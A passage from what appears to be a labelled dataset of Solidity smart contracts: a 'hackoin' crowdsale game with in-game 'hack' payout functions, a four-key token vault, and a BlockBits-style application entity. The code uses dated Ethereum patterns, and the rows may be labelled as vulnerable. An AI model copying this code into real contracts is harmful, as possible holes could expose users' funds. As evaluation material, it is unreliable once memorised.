uint256 currentPrice;
if(now < _priceIncrease1)
{
currentPrice = _initialPrice;
}
else if (now < _priceIncrease2)
{
currentPrice = _initialPrice * 2;
}
else
{
currentPrice = _initialPrice * 4;
}
uint256 tokenAmount = amount / currentPrice;
require(tokenAmount > 0);
require(_balanceOf[msg.sender] + amount >= _balanceOf[msg.sender]);
require(this.balance + amount >= this.balance);
_balanceOf[msg.sender] += amount;
_amountRaised += amount;
_hackoinToken.mintToken(msg.sender, tokenAmount);
FundTransfer(msg.sender, "Ticket Purchase", amount);
}
modifier afterDeadline()
{
require (now >= _deadline);
_;
}
function withdrawFunds(uint256 amount) afterDeadline {
require(_beneficiary == msg.sender);
require(this.balance > 0);
require(amount <= this.balance);
if (_beneficiary.send(amount))
{
FundTransfer(_beneficiary, "Withdrawal", amount);
}
}
function hackDecisive(address targetAddress, uint256 amount) afterDeadline {
require(msg.data.length == 32*2+4);
require(_hackerDecisive == msg.sender);
require(_hackoinToken.balanceOf(targetAddress) >= _participationMax*2);
require(this.balance > 0);
require(amount <= this.balance);
if (targetAddress.send(amount))
{
FundTransfer(targetAddress, "Decisive hack", amount);
}
}
function whitehatRecover() afterDeadline {
require(_whitehat == msg.sender);
require(_whitehatActive);
require(_lastWhitehat + _timeBetweenWithdrawCalls < now);
require(this.balance > 0);
uint amount;
if(_amountRaised > 500 ether)
{
amount = _amountRaised / 50;
}
else if(_amountRaised > 100 ether)
{
amount = _amountRaised / 20;
}
else
{
amount = _amountRaised / 10;
}
if(amount > this.balance)
{
amount = this.balance;
}
_lastWhitehat = now;
if (_whitehat.send(amount))
{
FundTransfer(_whitehat, "Whitehat recovery", amount);
}
}
function hack(address targetAddress) afterDeadline {
require(msg.data.length == 32+4);
require(_hackerTenuous == msg.sender || _hackerEducated == msg.sender || _hackerAdept == msg.sender);
require(_hackedTenuous);
require(_hackedEducated);
require(_hackedAdept);
require(!_whitehatActive);
require(_lastHack + _timeBetweenWithdrawCalls < now);
require(this.balance > 0);
require(_hackoinToken.balanceOf(targetAddress) >= _participationThreshold);
require(_tenuousToken.balanceOf(targetAddress) >= _hackTokenThreshold);
require(_educatedToken.balanceOf(targetAddress) >= _hackTokenThreshold);
require(_adeptToken.balanceOf(targetAddress) >= _hackTokenThreshold);
uint minAmount;
if(_amountRaised > 500 ether)
{
minAmount = _amountRaised / 500;
}
else if(_amountRaised > 100 ether)
{
minAmount = _amountRaised / 200;
}
else
{
minAmount = _amountRaised / 100;
}
uint256 participationAmount = _hackoinToken.balanceOf(targetAddress);
if(participationAmount > _participationMax)
{
participationAmount = _participationMax;
}
uint256 ratio = participationAmount / _participationThreshold;
uint256 amount = minAmount * ratio;
if(amount > this.balance)
{
amount = this.balance;
}
_lastHack = now;
if (targetAddress.send(amount))
{
FundTransfer(targetAddress, "Hack", amount);
}
}
function hackTenuous(address targetAddress) afterDeadline {
require(msg.data.length == 32+4);
require(_hackerTenuous == msg.sender);
if(!_hackedTenuous) {
require(_lastControlFlip + _timeBetweenControlFlipCalls < now);
}
_hackedTenuous = true;
if(_tenuousToken.balanceOf(targetAddress) == 0) {
_tenuousToken.mintToken(targetAddress, _hackTokenThreshold);
}
}
function hackEducated(address targetAddress) afterDeadline {
require(msg.data.length == 32+4);
require(_hackerEducated == msg.sender);
require(_hackedTenuous);
if(!_hackedEducated) {
require(_lastControlFlip + _timeBetweenControlFlipCalls < now);
}
_hackedEducated = true;
if(_educatedToken.balanceOf(targetAddress) == 0) {
_educatedToken.mintToken(targetAddress, _hackTokenThreshold);
}
}
function hackAdept(address targetAddress) afterDeadline {
require(msg.data.length == 32+4);
require(_hackerAdept == msg.sender);
require(_hackedTenuous && _hackedEducated);
if(!_hackedAdept) {
require(_lastControlFlip + _timeBetweenControlFlipCalls < now);
_lastControlFlip = now;
}
_whitehatActive = false;
_hackedAdept = true;
if(_adeptToken.balanceOf(targetAddress) == 0) {
_adeptToken.mintToken(targetAddress, _hackTokenThreshold);
}
}
function whiteHat() afterDeadline {
require(_whitehat == msg.sender);
require(_lastControlFlip + _timeBetweenControlFlipCalls < now);
_hackedTenuous = false;
_hackedEducated = false;
_hackedAdept = false;
if(!_whitehatActive){
_lastControlFlip = now;
}
_whitehatActive = true;
}
function kill() onlyOwner {
_hackoinToken.kill();
_tenuousToken.kill();
_educatedToken.kill();
_adeptToken.kill();
mortal.kill();
}
}
contract hackoin is ERC20, owned, mortal {
string public name;
string public symbol;
uint8 public constant decimals = 16;
uint256 public _totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function hackoin(string _name, string _symbol) {
name = _name;
symbol = _symbol;
_totalSupply = 0;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(msg.data.length == 32*2+4);
require(balances[msg.sender] >= _value);
require(_value > 0);
require(balances[_to] + _value >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
require(msg.data.length == 32*3+4);
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0);
require(balances[_to] + _amount > balances[_to]);
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
require(msg.data.length == 32*2+4);
balances[target] += mintedAmount;
_totalSupply += mintedAmount;
Transfer(0, _owner, mintedAmount);
Transfer(_owner, target, mintedAmount);
}
function totalSupply() constant returns (uint256 totalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
require(msg.data.length == 32+4);
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
require(msg.data.length == 32*2+4);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
require(msg.data.length == 32*2+4);
return allowed[_owner][_spender];
}
} | 1 | 3,667 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface Token{
function balanceOf(address user) external returns(uint256);
function transfer(address to, uint256 amount) external returns(bool);
}
contract Safe{
using SafeMath for uint256;
uint8 public count;
uint256 internal end;
uint256 internal timeOutAuthentication;
mapping (address => bool) internal safeKeys;
address [] internal massSafeKeys = new address[](4);
mapping (address => bool) internal signKeys;
uint256 internal freeAmount;
bool internal tranche;
bool internal lockupIsSet;
uint256 internal mainLockup;
address internal lastSafeKey;
Token public token;
uint256 public countOfCell;
struct _Cell{
uint256 lockup;
uint256 balance;
bool exist;
uint256 timeOfDeposit;
}
mapping (address => _Cell) internal userCells;
event CreateCell(address indexed key);
event Deposit(address indexed key, uint256 balance);
event Delete(address indexed key);
event Edit(address indexed key, uint256 lockup);
event Withdraw(address indexed who, uint256 balance);
event InternalTransfer(address indexed from, address indexed to, uint256 balance);
modifier firstLevel() {
require(msg.sender == lastSafeKey);
require(count>=1);
require(now < end);
_;
}
modifier secondLevel() {
require(msg.sender == lastSafeKey);
require(count>=2);
require(now < end);
_;
}
modifier thirdLevel() {
require(msg.sender == lastSafeKey);
require(count>=3);
require(now < end);
_;
}
constructor (address _first, address _second, address _third, address _fourth) public {
require(
_first != _second &&
_first != _third &&
_first != _fourth &&
_second != _third &&
_second != _fourth &&
_third != _fourth &&
_first != 0x0 &&
_second != 0x0 &&
_third != 0x0 &&
_fourth != 0x0
);
safeKeys[_first] = true;
safeKeys[_second] = true;
safeKeys[_third] = true;
safeKeys[_fourth] = true;
massSafeKeys[0] = _first;
massSafeKeys[1] = _second;
massSafeKeys[2] = _third;
massSafeKeys[3] = _fourth;
timeOutAuthentication = 1 hours;
}
function AuthStart() public returns(bool){
require(safeKeys[msg.sender]);
require(timeOutAuthentication >=0);
require(!signKeys[msg.sender]);
signKeys[msg.sender] = true;
count++;
end = now.add(timeOutAuthentication);
lastSafeKey = msg.sender;
return true;
}
function AuthEnd() public returns(bool){
require (safeKeys[msg.sender]);
for(uint i=0; i<4; i++){
signKeys[massSafeKeys[i]] = false;
}
count = 0;
end = 0;
lastSafeKey = 0x0;
return true;
}
function getTimeOutAuthentication() firstLevel public view returns(uint256){
return timeOutAuthentication;
}
function getFreeAmount() firstLevel public view returns(uint256){
return freeAmount;
}
function getLockupCell(address _user) firstLevel public view returns(uint256){
return userCells[_user].lockup;
}
function getBalanceCell(address _user) firstLevel public view returns(uint256){
return userCells[_user].balance;
}
function getExistCell(address _user) firstLevel public view returns(bool){
return userCells[_user].exist;
}
function getSafeKey(uint i) firstLevel view public returns(address){
return massSafeKeys[i];
}
function AssetWithdraw(address _to, uint256 _balance) secondLevel public returns(bool){
require(_balance<=freeAmount);
require(now>=mainLockup);
freeAmount = freeAmount.sub(_balance);
token.transfer(_to, _balance);
emit Withdraw(this, _balance);
return true;
}
function setCell(address _cell, uint256 _lockup) secondLevel public returns(bool){
require(userCells[_cell].lockup==0 && userCells[_cell].balance==0);
require(!userCells[_cell].exist);
require(_lockup >= mainLockup);
userCells[_cell].lockup = _lockup;
userCells[_cell].exist = true;
countOfCell = countOfCell.add(1);
emit CreateCell(_cell);
return true;
}
function deleteCell(address _key) secondLevel public returns(bool){
require(getBalanceCell(_key)==0);
require(userCells[_key].exist);
userCells[_key].lockup = 0;
userCells[_key].exist = false;
countOfCell = countOfCell.sub(1);
emit Delete(_key);
return true;
}
function editCell(address _key, uint256 _lockup) secondLevel public returns(bool){
require(getBalanceCell(_key)==0);
require(_lockup>= mainLockup);
require(userCells[_key].exist);
userCells[_key].lockup = _lockup;
emit Edit(_key, _lockup);
return true;
}
function depositCell(address _key, uint256 _balance) secondLevel public returns(bool){
require(userCells[_key].exist);
require(_balance<=freeAmount);
freeAmount = freeAmount.sub(_balance);
userCells[_key].balance = userCells[_key].balance.add(_balance);
userCells[_key].timeOfDeposit = now;
emit Deposit(_key, _balance);
return true;
}
function changeDepositCell(address _key, uint256 _balance) secondLevel public returns(bool){
require(userCells[_key].timeOfDeposit.add(1 hours)>now);
userCells[_key].balance = userCells[_key].balance.sub(_balance);
freeAmount = freeAmount.add(_balance);
return true;
}
function setContract(Token _token, uint256 _lockup) thirdLevel public returns(bool){
require(_token != address(0x0));
require(!lockupIsSet);
require(!tranche);
token = _token;
freeAmount = getMainBalance();
mainLockup = _lockup;
tranche = true;
lockupIsSet = true;
return true;
}
function changeKey(address _oldKey, address _newKey) thirdLevel public returns(bool){
require(safeKeys[_oldKey]);
require(_newKey != 0x0);
for(uint i=0; i<4; i++){
if(massSafeKeys[i]==_oldKey){
massSafeKeys[i] = _newKey;
}
}
safeKeys[_oldKey] = false;
safeKeys[_newKey] = true;
if(_oldKey==lastSafeKey){
lastSafeKey = _newKey;
}
return true;
}
function setTimeOutAuthentication(uint256 _time) thirdLevel public returns(bool){
require(
_time > 0 &&
timeOutAuthentication != _time &&
_time <= (5000 * 1 minutes)
);
timeOutAuthentication = _time;
return true;
}
function withdrawCell(uint256 _balance) public returns(bool){
require(userCells[msg.sender].balance >= _balance);
require(now >= userCells[msg.sender].lockup);
userCells[msg.sender].balance = userCells[msg.sender].balance.sub(_balance);
token.transfer(msg.sender, _balance);
emit Withdraw(msg.sender, _balance);
return true;
}
function transferCell(address _to, uint256 _balance) public returns(bool){
require(userCells[msg.sender].balance >= _balance);
require(userCells[_to].lockup>=userCells[msg.sender].lockup);
require(userCells[_to].exist);
userCells[msg.sender].balance = userCells[msg.sender].balance.sub(_balance);
userCells[_to].balance = userCells[_to].balance.add(_balance);
emit InternalTransfer(msg.sender, _to, _balance);
return true;
}
function getInfoCellBalance() view public returns(uint256){
return userCells[msg.sender].balance;
}
function getInfoCellLockup() view public returns(uint256){
return userCells[msg.sender].lockup;
}
function getMainBalance() public view returns(uint256){
return token.balanceOf(this);
}
function getMainLockup() public view returns(uint256){
return mainLockup;
}
function isTimeOver() view public returns(bool){
if(now > end){
return true;
} else{
return false;
}
}
} | 1 | 2,862 |
pragma solidity ^0.4.17;
contract ApplicationEntityABI {
address public ProposalsEntity;
address public FundingEntity;
address public MilestonesEntity;
address public MeetingsEntity;
address public BountyManagerEntity;
address public TokenManagerEntity;
address public ListingContractEntity;
address public FundingManagerEntity;
address public NewsContractEntity;
bool public _initialized = false;
bool public _locked = false;
uint8 public CurrentEntityState;
uint8 public AssetCollectionNum;
address public GatewayInterfaceAddress;
address public deployerAddress;
address testAddressAllowUpgradeFrom;
mapping (bytes32 => uint8) public EntityStates;
mapping (bytes32 => address) public AssetCollection;
mapping (uint8 => bytes32) public AssetCollectionIdToName;
mapping (bytes32 => uint256) public BylawsUint256;
mapping (bytes32 => bytes32) public BylawsBytes32;
function ApplicationEntity() public;
function getEntityState(bytes32 name) public view returns (uint8);
function linkToGateway( address _GatewayInterfaceAddress, bytes32 _sourceCodeUrl ) external;
function setUpgradeState(uint8 state) public ;
function addAssetProposals(address _assetAddresses) external;
function addAssetFunding(address _assetAddresses) external;
function addAssetMilestones(address _assetAddresses) external;
function addAssetMeetings(address _assetAddresses) external;
function addAssetBountyManager(address _assetAddresses) external;
function addAssetTokenManager(address _assetAddresses) external;
function addAssetFundingManager(address _assetAddresses) external;
function addAssetListingContract(address _assetAddresses) external;
function addAssetNewsContract(address _assetAddresses) external;
function getAssetAddressByName(bytes32 _name) public view returns (address);
function setBylawUint256(bytes32 name, uint256 value) public;
function getBylawUint256(bytes32 name) public view returns (uint256);
function setBylawBytes32(bytes32 name, bytes32 value) public;
function getBylawBytes32(bytes32 name) public view returns (bytes32);
function initialize() external returns (bool);
function getParentAddress() external view returns(address);
function createCodeUpgradeProposal( address _newAddress, bytes32 _sourceCodeUrl ) external returns (uint256);
function acceptCodeUpgradeProposal(address _newAddress) external;
function initializeAssetsToThisApplication() external returns (bool);
function transferAssetsToNewApplication(address _newAddress) external returns (bool);
function lock() external returns (bool);
function canInitiateCodeUpgrade(address _sender) public view returns(bool);
function doStateChanges() public;
function hasRequiredStateChanges() public view returns (bool);
function anyAssetHasChanges() public view returns (bool);
function extendedAnyAssetHasChanges() internal view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8);
function getTimestamp() view public returns (uint256);
}
contract ABIGatewayInterface {
address public currentApplicationEntityAddress;
ApplicationEntityABI private currentApp;
address public deployerAddress;
function getApplicationAddress() external view returns (address);
function requestCodeUpgrade( address _newAddress, bytes32 _sourceCodeUrl ) external returns (bool);
function approveCodeUpgrade( address _newAddress ) external returns (bool);
function link( address _newAddress ) internal returns (bool);
function getNewsContractAddress() external view returns (address);
function getListingContractAddress() external view returns (address);
}
contract ABIApplicationAsset {
bytes32 public assetName;
uint8 public CurrentEntityState;
uint8 public RecordNum;
bool public _initialized;
bool public _settingsApplied;
address public owner;
address public deployerAddress;
mapping (bytes32 => uint8) public EntityStates;
mapping (bytes32 => uint8) public RecordStates;
function setInitialApplicationAddress(address _ownerAddress) public;
function setInitialOwnerAndName(bytes32 _name) external returns (bool);
function getRecordState(bytes32 name) public view returns (uint8);
function getEntityState(bytes32 name) public view returns (uint8);
function applyAndLockSettings() public returns(bool);
function transferToNewOwner(address _newOwner) public returns (bool);
function getApplicationAssetAddressByName(bytes32 _name) public returns(address);
function getApplicationState() public view returns (uint8);
function getApplicationEntityState(bytes32 name) public view returns (uint8);
function getAppBylawUint256(bytes32 name) public view returns (uint256);
function getAppBylawBytes32(bytes32 name) public view returns (bytes32);
function getTimestamp() view public returns (uint256);
}
contract ABIProposals is ABIApplicationAsset {
address public Application;
address public ListingContractEntity;
address public FundingEntity;
address public FundingManagerEntity;
address public TokenManagerEntity;
address public TokenEntity;
address public MilestonesEntity;
struct ProposalRecord {
address creator;
bytes32 name;
uint8 actionType;
uint8 state;
bytes32 hash;
address addr;
bytes32 sourceCodeUrl;
uint256 extra;
uint256 time_start;
uint256 time_end;
uint256 index;
}
struct VoteStruct {
address voter;
uint256 time;
bool vote;
uint256 power;
bool annulled;
uint256 index;
}
struct ResultRecord {
uint256 totalAvailable;
uint256 requiredForResult;
uint256 totalSoFar;
uint256 yes;
uint256 no;
bool requiresCounting;
}
uint8 public ActiveProposalNum;
uint256 public VoteCountPerProcess;
bool public EmergencyFundingReleaseApproved;
mapping (bytes32 => uint8) public ActionTypes;
mapping (uint8 => uint256) public ActiveProposalIds;
mapping (uint256 => bool) public ExpiredProposalIds;
mapping (uint256 => ProposalRecord) public ProposalsById;
mapping (bytes32 => uint256) public ProposalIdByHash;
mapping (uint256 => mapping (uint256 => VoteStruct) ) public VotesByProposalId;
mapping (uint256 => mapping (address => VoteStruct) ) public VotesByCaster;
mapping (uint256 => uint256) public VotesNumByProposalId;
mapping (uint256 => ResultRecord ) public ResultsByProposalId;
mapping (uint256 => uint256) public lastProcessedVoteIdByProposal;
mapping (uint256 => uint256) public ProcessedVotesByProposal;
mapping (uint256 => uint256) public VoteCountAtProcessingStartByProposal;
function getRecordState(bytes32 name) public view returns (uint8);
function getActionType(bytes32 name) public view returns (uint8);
function getProposalState(uint256 _proposalId) public view returns (uint8);
function getBylawsProposalVotingDuration() public view returns (uint256);
function getBylawsMilestoneMinPostponing() public view returns (uint256);
function getBylawsMilestoneMaxPostponing() public view returns (uint256);
function getHash(uint8 actionType, bytes32 arg1, bytes32 arg2) public pure returns ( bytes32 );
function process() public;
function hasRequiredStateChanges() public view returns (bool);
function getRequiredStateChanges() public view returns (uint8);
function addCodeUpgradeProposal(address _addr, bytes32 _sourceCodeUrl) external returns (uint256);
function createMilestoneAcceptanceProposal() external returns (uint256);
function createMilestonePostponingProposal(uint256 _duration) external returns (uint256);
function getCurrentMilestonePostponingProposalDuration() public view returns (uint256);
function getCurrentMilestoneProposalStatusForType(uint8 _actionType ) public view returns (uint8);
function createEmergencyFundReleaseProposal() external returns (uint256);
function createDelistingProposal(uint256 _projectId) external returns (uint256);
function RegisterVote(uint256 _proposalId, bool _myVote) public;
function hasPreviousVote(uint256 _proposalId, address _voter) public view returns (bool);
function getTotalTokenVotingPower(address _voter) public view returns ( uint256 );
function getVotingPower(uint256 _proposalId, address _voter) public view returns ( uint256 );
function setVoteCountPerProcess(uint256 _perProcess) external;
function ProcessVoteTotals(uint256 _proposalId, uint256 length) public;
function canEndVoting(uint256 _proposalId) public view returns (bool);
function getProposalType(uint256 _proposalId) public view returns (uint8);
function expiryChangesState(uint256 _proposalId) public view returns (bool);
function needsProcessing(uint256 _proposalId) public view returns (bool);
function getMyVoteForCurrentMilestoneRelease(address _voter) public view returns (bool);
function getHasVoteForCurrentMilestoneRelease(address _voter) public view returns (bool);
function getMyVote(uint256 _proposalId, address _voter) public view returns (bool);
}
contract ABIFunding is ABIApplicationAsset {
address public multiSigOutputAddress;
address public DirectInput;
address public MilestoneInput;
address public TokenManagerEntity;
address public FundingManagerEntity;
struct FundingStage {
bytes32 name;
uint8 state;
uint256 time_start;
uint256 time_end;
uint256 amount_cap_soft;
uint256 amount_cap_hard;
uint256 amount_raised;
uint256 minimum_entry;
uint8 methods;
uint256 fixed_tokens;
uint8 price_addition_percentage;
uint8 token_share_percentage;
uint8 index;
}
mapping (uint8 => FundingStage) public Collection;
uint8 public FundingStageNum;
uint8 public currentFundingStage;
uint256 public AmountRaised;
uint256 public MilestoneAmountRaised;
uint256 public GlobalAmountCapSoft;
uint256 public GlobalAmountCapHard;
uint8 public TokenSellPercentage;
uint256 public Funding_Setting_funding_time_start;
uint256 public Funding_Setting_funding_time_end;
uint256 public Funding_Setting_cashback_time_start;
uint256 public Funding_Setting_cashback_time_end;
uint256 public Funding_Setting_cashback_before_start_wait_duration;
uint256 public Funding_Setting_cashback_duration;
function addFundingStage(
bytes32 _name,
uint256 _time_start,
uint256 _time_end,
uint256 _amount_cap_soft,
uint256 _amount_cap_hard,
uint8 _methods,
uint256 _minimum_entry,
uint256 _fixed_tokens,
uint8 _price_addition_percentage,
uint8 _token_share_percentage
)
public;
function addSettings(address _outputAddress, uint256 soft_cap, uint256 hard_cap, uint8 sale_percentage, address _direct, address _milestone ) public;
function getStageAmount(uint8 StageId) public view returns ( uint256 );
function allowedPaymentMethod(uint8 _payment_method) public pure returns (bool);
function receivePayment(address _sender, uint8 _payment_method) payable public returns(bool);
function canAcceptPayment(uint256 _amount) public view returns (bool);
function getValueOverCurrentCap(uint256 _amount) public view returns (uint256);
function isFundingStageUpdateAllowed(uint8 _new_state ) public view returns (bool);
function getRecordStateRequiredChanges() public view returns (uint8);
function doStateChanges() public;
function hasRequiredStateChanges() public view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8, uint8);
}
contract ABIMeetings is ABIApplicationAsset {
struct Record {
bytes32 hash;
bytes32 name;
uint8 state;
uint256 time_start;
uint256 duration;
uint8 index;
}
mapping (uint8 => Record) public Collection;
}
contract ABIMilestones is ABIApplicationAsset {
struct Record {
bytes32 name;
string description;
uint8 state;
uint256 duration;
uint256 time_start;
uint256 last_state_change_time;
uint256 time_end;
uint256 time_ended;
uint256 meeting_time;
uint8 funding_percentage;
uint8 index;
}
uint8 public currentRecord;
uint256 public MilestoneCashBackTime = 0;
mapping (uint8 => Record) public Collection;
mapping (bytes32 => bool) public MilestonePostponingHash;
mapping (bytes32 => uint256) public ProposalIdByHash;
function getBylawsProjectDevelopmentStart() public view returns (uint256);
function getBylawsMinTimeInTheFutureForMeetingCreation() public view returns (uint256);
function getBylawsCashBackVoteRejectedDuration() public view returns (uint256);
function addRecord( bytes32 _name, string _description, uint256 _duration, uint8 _perc ) public;
function getMilestoneFundingPercentage(uint8 recordId) public view returns (uint8);
function doStateChanges() public;
function getRecordStateRequiredChanges() public view returns (uint8);
function hasRequiredStateChanges() public view returns (bool);
function afterVoteNoCashBackTime() public view returns ( bool );
function getHash(uint8 actionType, bytes32 arg1, bytes32 arg2) public pure returns ( bytes32 );
function getCurrentHash() public view returns ( bytes32 );
function getCurrentProposalId() internal view returns ( uint256 );
function setCurrentMilestoneMeetingTime(uint256 _meeting_time) public;
function isRecordUpdateAllowed(uint8 _new_state ) public view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8, uint8);
function ApplicationIsInDevelopment() public view returns(bool);
function MeetingTimeSetFailure() public view returns (bool);
}
contract ABIBountyManager is ABIApplicationAsset {
function sendBounty( address _receiver, uint256 _amount ) public;
}
contract ABITokenManager is ABIApplicationAsset {
address public TokenSCADAEntity;
address public TokenEntity;
address public MarketingMethodAddress;
bool OwnerTokenBalancesReleased = false;
function addSettings(address _scadaAddress, address _tokenAddress, address _marketing ) public;
function getTokenSCADARequiresHardCap() public view returns (bool);
function mint(address _to, uint256 _amount) public returns (bool);
function finishMinting() public returns (bool);
function mintForMarketingPool(address _to, uint256 _amount) external returns (bool);
function ReleaseOwnersLockedTokens(address _multiSigOutputAddress) public returns (bool);
}
contract ABIFundingManager is ABIApplicationAsset {
bool public fundingProcessed;
bool FundingPoolBalancesAllocated;
uint8 public VaultCountPerProcess;
uint256 public lastProcessedVaultId;
uint256 public vaultNum;
uint256 public LockedVotingTokens;
bytes32 public currentTask;
mapping (bytes32 => bool) public taskByHash;
mapping (address => address) public vaultList;
mapping (uint256 => address) public vaultById;
function receivePayment(address _sender, uint8 _payment_method, uint8 _funding_stage) payable public returns(bool);
function getMyVaultAddress(address _sender) public view returns (address);
function setVaultCountPerProcess(uint8 _perProcess) external;
function getHash(bytes32 actionType, bytes32 arg1) public pure returns ( bytes32 );
function getCurrentMilestoneProcessed() public view returns (bool);
function processFundingFailedFinished() public view returns (bool);
function processFundingSuccessfulFinished() public view returns (bool);
function getCurrentMilestoneIdHash() internal view returns (bytes32);
function processMilestoneFinished() public view returns (bool);
function processEmergencyFundReleaseFinished() public view returns (bool);
function getAfterTransferLockedTokenBalances(address vaultAddress, bool excludeCurrent) public view returns (uint256);
function VaultRequestedUpdateForLockedVotingTokens(address owner) public;
function doStateChanges() public;
function hasRequiredStateChanges() public view returns (bool);
function getRequiredStateChanges() public view returns (uint8, uint8);
function ApplicationInFundingOrDevelopment() public view returns(bool);
}
contract ABIListingContract is ABIApplicationAsset {
address public managerAddress;
struct item {
bytes32 name;
address itemAddress;
bool status;
uint256 index;
}
mapping ( uint256 => item ) public items;
uint256 public itemNum;
function setManagerAddress(address _manager) public;
function addItem(bytes32 _name, address _address) public;
function getNewsContractAddress(uint256 _childId) external view returns (address);
function canBeDelisted(uint256 _childId) public view returns (bool);
function getChildStatus( uint256 _childId ) public view returns (bool);
function delistChild( uint256 _childId ) public;
}
contract ABINewsContract is ABIApplicationAsset {
struct item {
string hash;
uint8 itemType;
uint256 length;
}
uint256 public itemNum = 0;
mapping ( uint256 => item ) public items;
function addInternalMessage(uint8 state) public;
function addItem(string _hash, uint256 _length) public;
}
contract ApplicationEntity {
bytes32 sourceCodeUrl;
bool public _initialized = false;
bool public _locked = false;
uint8 public CurrentEntityState;
mapping (bytes32 => uint8) public EntityStates;
address public GatewayInterfaceAddress;
ABIGatewayInterface GatewayInterfaceEntity;
ABIProposals public ProposalsEntity;
ABIFunding public FundingEntity;
ABIMilestones public MilestonesEntity;
ABIMeetings public MeetingsEntity;
ABIBountyManager public BountyManagerEntity;
ABITokenManager public TokenManagerEntity;
ABIListingContract public ListingContractEntity;
ABIFundingManager public FundingManagerEntity;
ABINewsContract public NewsContractEntity;
mapping (bytes32 => address) public AssetCollection;
mapping (uint8 => bytes32) public AssetCollectionIdToName;
uint8 public AssetCollectionNum = 0;
event EventAppEntityReady ( address indexed _address );
event EventAppEntityCodeUpgradeProposal ( address indexed _address, bytes32 indexed _sourceCodeUrl );
event EventAppEntityInitAsset ( bytes32 indexed _name, address indexed _address );
event EventAppEntityInitAssetsToThis ( uint8 indexed _assetNum );
event EventAppEntityAssetsToNewApplication ( address indexed _address );
event EventAppEntityLocked ( address indexed _address );
address public deployerAddress;
function ApplicationEntity() public {
deployerAddress = msg.sender;
setEntityStates();
CurrentEntityState = getEntityState("NEW");
}
function setEntityStates() internal {
EntityStates["__IGNORED__"] = 0;
EntityStates["NEW"] = 1;
EntityStates["WAITING"] = 2;
EntityStates["IN_FUNDING"] = 3;
EntityStates["IN_DEVELOPMENT"] = 5;
EntityStates["IN_CODE_UPGRADE"] = 50;
EntityStates["UPGRADED"] = 100;
EntityStates["IN_GLOBAL_CASHBACK"] = 150;
EntityStates["LOCKED"] = 200;
EntityStates["DEVELOPMENT_COMPLETE"] = 250;
}
function getEntityState(bytes32 name) public view returns (uint8) {
return EntityStates[name];
}
function linkToGateway(
address _GatewayInterfaceAddress,
bytes32 _sourceCodeUrl
)
external
requireNoParent
requireNotInitialised
onlyDeployer
{
GatewayInterfaceAddress = _GatewayInterfaceAddress;
sourceCodeUrl = _sourceCodeUrl;
GatewayInterfaceEntity = ABIGatewayInterface(GatewayInterfaceAddress);
GatewayInterfaceEntity.requestCodeUpgrade( address(this), sourceCodeUrl );
}
function setUpgradeState(uint8 state) public onlyGatewayInterface {
CurrentEntityState = state;
}
function addAssetProposals(address _assetAddresses) external requireNotInitialised onlyDeployer {
ProposalsEntity = ABIProposals(_assetAddresses);
assetInitialized("Proposals", _assetAddresses);
}
function addAssetFunding(address _assetAddresses) external requireNotInitialised onlyDeployer {
FundingEntity = ABIFunding(_assetAddresses);
assetInitialized("Funding", _assetAddresses);
}
function addAssetMilestones(address _assetAddresses) external requireNotInitialised onlyDeployer {
MilestonesEntity = ABIMilestones(_assetAddresses);
assetInitialized("Milestones", _assetAddresses);
}
function addAssetMeetings(address _assetAddresses) external requireNotInitialised onlyDeployer {
MeetingsEntity = ABIMeetings(_assetAddresses);
assetInitialized("Meetings", _assetAddresses);
}
function addAssetBountyManager(address _assetAddresses) external requireNotInitialised onlyDeployer {
BountyManagerEntity = ABIBountyManager(_assetAddresses);
assetInitialized("BountyManager", _assetAddresses);
}
function addAssetTokenManager(address _assetAddresses) external requireNotInitialised onlyDeployer {
TokenManagerEntity = ABITokenManager(_assetAddresses);
assetInitialized("TokenManager", _assetAddresses);
}
function addAssetFundingManager(address _assetAddresses) external requireNotInitialised onlyDeployer {
FundingManagerEntity = ABIFundingManager(_assetAddresses);
assetInitialized("FundingManager", _assetAddresses);
}
function addAssetListingContract(address _assetAddresses) external requireNotInitialised onlyDeployer {
ListingContractEntity = ABIListingContract(_assetAddresses);
assetInitialized("ListingContract", _assetAddresses);
}
function addAssetNewsContract(address _assetAddresses) external requireNotInitialised onlyDeployer {
NewsContractEntity = ABINewsContract(_assetAddresses);
assetInitialized("NewsContract", _assetAddresses);
}
function assetInitialized(bytes32 name, address _assetAddresses) internal {
if(AssetCollection[name] == 0x0) {
AssetCollectionIdToName[AssetCollectionNum] = name;
AssetCollection[name] = _assetAddresses;
AssetCollectionNum++;
} else {
AssetCollection[name] = _assetAddresses;
}
EventAppEntityInitAsset(name, _assetAddresses);
}
function getAssetAddressByName(bytes32 _name) public view returns (address) {
return AssetCollection[_name];
}
mapping (bytes32 => uint256) public BylawsUint256;
mapping (bytes32 => bytes32) public BylawsBytes32;
function setBylawUint256(bytes32 name, uint256 value) public requireNotInitialised onlyDeployer {
BylawsUint256[name] = value;
}
function getBylawUint256(bytes32 name) public view requireInitialised returns (uint256) {
return BylawsUint256[name];
}
function setBylawBytes32(bytes32 name, bytes32 value) public requireNotInitialised onlyDeployer {
BylawsBytes32[name] = value;
}
function getBylawBytes32(bytes32 name) public view requireInitialised returns (bytes32) {
return BylawsBytes32[name];
}
